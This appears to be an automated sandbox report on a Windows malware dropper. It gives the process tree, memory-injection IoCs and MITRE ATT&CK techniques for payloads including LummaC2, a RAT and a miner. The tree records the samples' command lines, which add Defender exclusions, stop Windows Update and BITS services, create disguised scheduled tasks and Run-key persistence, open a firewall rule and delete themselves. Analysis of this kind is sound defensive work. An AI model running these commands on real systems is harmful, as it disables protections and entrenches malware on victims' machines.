668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5588	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 3004	4876	4363463463464363463463463.exe	96
PID 4876 wrote to memory of 3004	4876	4363463463464363463463463.exe	96
PID 4876 wrote to memory of 3004	4876	4363463463464363463463463.exe	96
PID 3004 wrote to memory of 4596	3004	Updater.exe	97
PID 3004 wrote to memory of 4596	3004	Updater.exe	97
PID 3004 wrote to memory of 4596	3004	Updater.exe	97
PID 4596 wrote to memory of 3044	4596	cmd.exe	99
PID 4596 wrote to memory of 3044	4596	cmd.exe	99
PID 4596 wrote to memory of 3044	4596	cmd.exe	99
PID 4876 wrote to memory of 3664	4876	4363463463464363463463463.exe	100
PID 4876 wrote to memory of 3664	4876	4363463463464363463463463.exe	100
PID 4876 wrote to memory of 3664	4876	4363463463464363463463463.exe	100
PID 4876 wrote to memory of 3536	4876	4363463463464363463463463.exe	105
PID 4876 wrote to memory of 3536	4876	4363463463464363463463463.exe	105
PID 4876 wrote to memory of 3536	4876	4363463463464363463463463.exe	105
PID 3664 wrote to memory of 668	3664	jet.exe	110
PID 3664 wrote to memory of 668	3664	jet.exe	110
PID 668 wrote to memory of 4100	668	msedge.exe	111
PID 668 wrote to memory of 4100	668	msedge.exe	111
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 2248	668	msedge.exe	112
PID 668 wrote to memory of 1548	668	msedge.exe	113
PID 668 wrote to memory of 1548	668	msedge.exe	113
PID 668 wrote to memory of 4392	668	msedge.exe	114
PID 668 wrote to memory of 4392	668	msedge.exe	114
PID 668 wrote to memory of 4392	668	msedge.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3524
- C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
  "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Users\Admin\AppData\Local\Temp\Files\Updater.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Updater.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /create /tn MyApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4596
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn MyApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3044
- - C:\Users\Admin\AppData\Local\Temp\Files\jet.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\jet.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.funletters.net/readme.htm
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xb4,0x108,0x7fff656646f8,0x7fff65664708,0x7fff65664718
        5⤵
        
        PID:4100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
        5⤵
        
        PID:2248
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1548
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
        5⤵
        
        PID:4392
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
        5⤵
        
        PID:4400
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
        5⤵
        
        PID:4852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4904 /prefetch:1
        5⤵
        
        PID:2604
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
        5⤵
        
        PID:3336
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5576 /prefetch:8
        5⤵
        
        PID:4924
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5576 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2952
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
        5⤵
        
        PID:3672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4212 /prefetch:1
        5⤵
        
        PID:4164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1
        5⤵
        
        PID:5256
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,9797740775149418203,3850044080913666463,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
        5⤵
        
        PID:5264
- - C:\Users\Admin\AppData\Local\Temp\Files\test.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\test.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3536
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3536 -s 244
      4⤵
      Program crash
      PID:1512
- - C:\Users\Admin\AppData\Local\Temp\Files\explorer.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\explorer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5588
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5588 -s 1736
      4⤵
      Program crash
      PID:6016
- - C:\Users\Admin\AppData\Local\Temp\Files\build_2024-07-25_20-56.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\build_2024-07-25_20-56.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Files\build_2024-07-25_20-56.exe" & rd /s /q "C:\ProgramData\KFIJJJEBGCFB" & exit
      4⤵
      System Location Discovery: System Language Discovery
      PID:5140
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:5116
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 1944
      4⤵
      Program crash
      PID:208
- - C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5832
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 232
      4⤵
      Program crash
      PID:5804
- - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:2492
- - C:\Users\Admin\AppData\Local\Temp\Files\s.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\s.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:6040
  - - C:\Windows\sysvplervcs.exe
      C:\Windows\sysvplervcs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Checks computer location settings
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      PID:2392
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5496
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5240
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6120
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2876
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4584
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3908
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5564
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5548
- - C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5944
  - - C:\Windows\sysppvrdnvs.exe
      C:\Windows\sysppvrdnvs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Checks computer location settings
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      Suspicious behavior: SetClipboardViewer
      PID:4480
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5016
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2092
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4672
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5624
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2168
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5140
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3136
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2384
- - C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4512
- - C:\Users\Admin\AppData\Local\Temp\Files\SteamDetector.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\SteamDetector.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5148
  - - C:\Users\Admin\AppData\Roaming\SteamDetector.exe
      "C:\Users\Admin\AppData\Roaming\SteamDetector.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      PID:5744
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\SteamDetector.exe" "SteamDetector.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:872
- - C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4756
- - C:\Users\Admin\AppData\Local\Temp\Files\rat.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\rat.exe"
    3⤵
    - Executes dropped EXE
    PID:5808
  - - C:\Users\Admin\AppData\Local\Temp\Files\rat.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\rat.exe"
      4⤵
      PID:1208
- - C:\Users\Admin\AppData\Local\Temp\Files\a.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\a.exe"
    3⤵
    PID:2044
- - C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe"
    3⤵
    PID:5780
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6104
  - - C:\Windows\system32\SubDir\Client.exe
      "C:\Windows\system32\SubDir\Client.exe"
      4⤵
      PID:2092
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:788
- - C:\Users\Admin\AppData\Local\Temp\Files\wefhrf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\wefhrf.exe"
    3⤵
    PID:5788
- - C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe"
    3⤵
    PID:5672
- - C:\Users\Admin\AppData\Local\Temp\Files\fuag.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\fuag.exe"
    3⤵
    PID:3552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2708
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:5760
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3536 -ip 3536
1⤵
PID:928

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4164

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5588 -ip 5588
1⤵
PID:5996

C:\Users\Admin\AppData\Roaming\service.exe
C:\Users\Admin\AppData\Roaming\service.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6056
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C schtasks /create /tn MyApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn MyApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5672 -ip 5672
1⤵
PID:5180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5832 -ip 5832
1⤵
PID:5772

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery